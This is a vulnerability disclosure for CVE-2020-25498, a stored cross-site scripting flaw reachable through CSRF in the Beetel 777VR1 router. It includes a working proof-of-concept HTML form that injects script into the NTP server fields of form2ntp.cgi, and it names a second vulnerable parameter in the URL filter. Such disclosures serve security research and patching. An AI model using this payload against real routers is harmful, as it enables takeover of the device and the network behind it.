CVE-2020-25498: Stored XSS via CSRF in Beetel 777VR1 Router
Vulnerability Description
It has been identified that the vulnerable endpoint doesn't have server side input validation and lacks client side filtering for any malicious script injection. An attacker can use this vulnerability to inject malicious script in the endpoint and the script is activated every time a user opens the vulnerable endpoint. Attacker can send a malicious URL with POST request payload to execute XSS in admin module via CSRF to take over the device and finally, to take over the network.
Researcher: Sayli Ambure (https://twitter.com/sayli_ambure)
MITRE CVE link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498
Proof-of-Concept Exploit:
CSRF HTML Code:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/form2ntp.cgi" method="POST">
<input type="hidden" name="ntpstate" value="Enable" />
<input type="hidden" name="ntpserver" value='google.com"><script>alert(1)</script>' />
<input type="hidden" name="ntpserver2" value='google.com"><script>alert(2)</script>' />
<input type="hidden" name="ntpinterval" value="1" />
<input type="hidden" name="ntptimezone" value="330" />
<input type="hidden" name="submit.htm?time.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
1. NTP Server Name in System Time configuration module
Parameter: Server name
Proof of Concept Video:
2. URL Filter endpoint in Firewall module
Parameter: Keyword

